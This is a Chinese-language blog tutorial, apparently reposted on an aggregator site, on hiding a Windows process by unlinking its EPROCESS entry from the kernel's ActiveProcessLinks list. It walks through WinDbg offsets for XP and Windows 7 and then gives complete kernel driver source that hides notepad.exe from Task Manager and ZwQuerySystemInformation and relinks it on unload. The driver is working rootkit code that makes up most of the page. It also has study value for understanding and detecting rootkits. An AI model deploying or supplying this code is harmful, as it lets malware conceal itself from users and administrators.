断链隐藏进程及恢复(附代码)
首先,我們知道,進程體EPROCESS是被系統維護在一個雙向鏈表LIST_ENTRY中的,那么,我們只要把進程的EPROCESS從這個鏈表中摘除,就可以實現進程隱藏了,當然,這只能瞞過進程管理器和zwQuerySystemInformation,暴力枚舉依舊可以發現斷鏈隱藏的進程,因為進程體還在內存中,這個以后再說。
要隱藏我們指定的某個進程,我們肯定需要遍歷整個EPROCESS鏈表, 當EPROCESS對應的進程名與 我們所指定的進程的進程名一樣時,我們就把該EPROCESS從鏈表中移除。
這里。我們遇到兩個問題,:
1.既然要遍歷鏈表,我們就要知道每個結構的前后結構;
2.既然要對比進程名,我們就要知道進程名放在哪個地方;
以上兩個問題,借助Windbg,我們就可以解決
下面我們以x86為例:
在windbg中,我們先看一下EPROCESS的結構,輸入命令dt _EPROCESS,可以發現在偏移0x88處,有一個變量ActiveProcessLinks,它的類型為LIST_ENTRY
在輸入命令dt _LIST_ENTRY,查看LIST_ENTRY的結構,可以看到變量FLink和BLink,FLink指向當前節點的后一個節點的ActiveProcessLinks地址,BLink指向當前結點的前一個節點的ActiveProcessLinks地址
繼續往下,我們可以看到在偏移0x174處,出現了ImageFileName,這里存的就是我們要找的進程名
下面我們切入一個進程實際看一下 輸入命令!process 0 0,就可以顯示所有進程信息
然后,輸入命令dt _EPROCESS 895d6da0就可以切入進程smss.exe了
smss.exe的后一個結點的ActiveProcessLinks就放在地址0x89a6d778中,用dd0x89a6d778命令查看地址0x89a6d778中的內容,
注意,因為FLink指向當前節點的后一個節點的ActiveProcessLinks地址,所以后一個節點的EPROCESS地址為ActiveProcessLinks地址減去FLink偏移0x88
然后就可以找到smss.exe的下一個進程winlogon.exe了,這就印證了上面的截圖中看到smss.exe的下一個進程是winlogon.exe
這樣,我們就解決了我們所遇到的問題,對于x64,方法是一樣的,讀者可以自行練習。代碼如下:
1 #ifndef CXX_HIDEPROCESS_H
2 # include "HideProcess.h"
3 #endif
4
5
6 ULONG_PTR ActiveOffsetPre = 0;
7 ULONG_PTR ActiveOffsetNext = 0;
8 ULONG_PTR ImageName = 0;
9 WIN_VERSION WinVersion = WINDOWS_UNKNOW;
10
11 PLIST_ENTRY Temp = NULL;
12 PLIST_ENTRY HeadEntry = NULL;
13 NTSTATUS
14 DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)
15 {
16
17
18 DbgPrint("DriverEntry
");
19
20 DriverObject->DriverUnload = UnloadDriver;
21
22
23 WinVersion = GetWindowsVersion();
24
25
26 switch(WinVersion)
27 {
28 case WINDOWS_XP: //32Bits
29 {
30
31 ActiveOffsetPre = 0x8c;
32 ActiveOffsetNext = 0x88;
33 ImageName = 0x174;
34 break;
35 }
36
37 case WINDOWS_7: //64Bits
38 {
39 ActiveOffsetPre = 0x190;
40 ActiveOffsetNext = 0x188;
41 ImageName = 0x2e0;
42 break;
43 }
44 }
45
46
47 HideProcess("notepad.exe");
48
49 HeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess()+ActiveOffsetNext);// 在DriverEntry中執行得到的才是System進程
50
51 return STATUS_SUCCESS;
52
53 }
54
55 VOID HideProcess(char* ProcessName)
56 {
57 PEPROCESS EProcessCurrent = NULL;
58 PEPROCESS EProcessPre = NULL;
59
60
61 EProcessCurrent = PsGetCurrentProcess(); //System EProcess
62
63
64
65 EProcessPre = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetPre)))-ActiveOffsetNext);
66
67 //DbgPrint("EProcessCurrent: 0x%p
",EProcessCurrent);
68
69 //DbgPrint("EProcessNext: 0x%p
",EProcessNext);
70
71
72
73 while (EProcessCurrent!=EProcessPre)
74 {
75 // DbgPrint("%s
",(char*)((ULONG_PTR)EProcessCurrent+ImageName));
76
77
78 if(strcmp((char*)((ULONG_PTR)EProcessCurrent+ImageName),ProcessName)==0)
79 {
80
81
82 Temp = (PLIST_ENTRY)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext);
83
84 if (MmIsAddressValid(Temp))
85 {
86 // Temp->Blink->Flink = Temp->Flink;
87 // Temp->Flink->Blink = Temp->Blink; //數據結構 不穩定
88
89
90 RemoveEntryList(Temp);
91
92
93 }
94
95
96 break;
97 }
98
99 EProcessCurrent = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext)))-ActiveOffsetNext);
100
101
102 }
103 }
104
105 VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
106 {
107 ResumeProcess();
108 DbgPrint("UnloadDriver
");
109 }
110
111 VOID ResumeProcess()
112 {
113
114 if(Temp!=NULL)
115 {
116 InsertHeadList(HeadEntry,Temp);
117 }
118
119
120 }
121
122
123
124
125
126
127 WIN_VERSION GetWindowsVersion()
128 {
129 RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)};
130 pfnRtlGetVersion RtlGetVersion = NULL;
131 WIN_VERSION WinVersion;
132 WCHAR wzRtlGetVersion[] = L"RtlGetVersion";
133
134 RtlGetVersion = GetFunctionAddressByName(wzRtlGetVersion); //Ntoskrnl.exe 導出表
135 if (RtlGetVersion)
136 {
137 RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo);
138 }
139 else
140 {
141 PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL); //Documet
142 }
143
144 DbgPrint("Build Number: %d
", osverInfo.dwBuildNumber);
145
146 if (osverInfo.dwMajorVersion == 5 && osverInfo.dwMinorVersion == 1)
147 {
148 DbgPrint("WINDOWS_XP
");
149 WinVersion = WINDOWS_XP;
150 }
151 else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1)
152 {
153 DbgPrint("WINDOWS 7
");
154 WinVersion = WINDOWS_7;
155 }
156 else if (osverInfo.dwMajorVersion == 6 &&
157 osverInfo.dwMinorVersion == 2 &&
158 osverInfo.dwBuildNumber == 9200)
159 {
160 DbgPrint("WINDOWS 8
");
161 WinVersion = WINDOWS_8;
162 }
163 else if (osverInfo.dwMajorVersion == 6 &&
164 osverInfo.dwMinorVersion == 3 &&
165 osverInfo.dwBuildNumber == 9600)
166 {
167 DbgPrint("WINDOWS 8.1
");
168 WinVersion = WINDOWS_8_1;
169 }
170 else
171 {
172 DbgPrint("WINDOWS_UNKNOW
");
173 WinVersion = WINDOWS_UNKNOW;
174 }
175
176 return WinVersion;
177 }
178
179
180 PVOID
181 GetFunctionAddressByName(WCHAR *wzFunction)
182 {
183 UNICODE_STRING uniFunction;
184 PVOID AddrBase = NULL;
185
186 if (wzFunction && wcslen(wzFunction) > 0)
187 {
188 RtlInitUnicodeString(&uniFunction, wzFunction); //常量指針
189 AddrBase = MmGetSystemRoutineAddress(&uniFunction); //在System 進程 第一個模塊 Ntosknrl.exe ExportTable
190 }
191
192 return AddrBase;
193 }
總結
以上是生活随笔為你收集整理的断链隐藏进程及恢复(附代码)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 时分秒针旋转角度换算
- 下一篇: 如何配置端口如何设置路由器各端口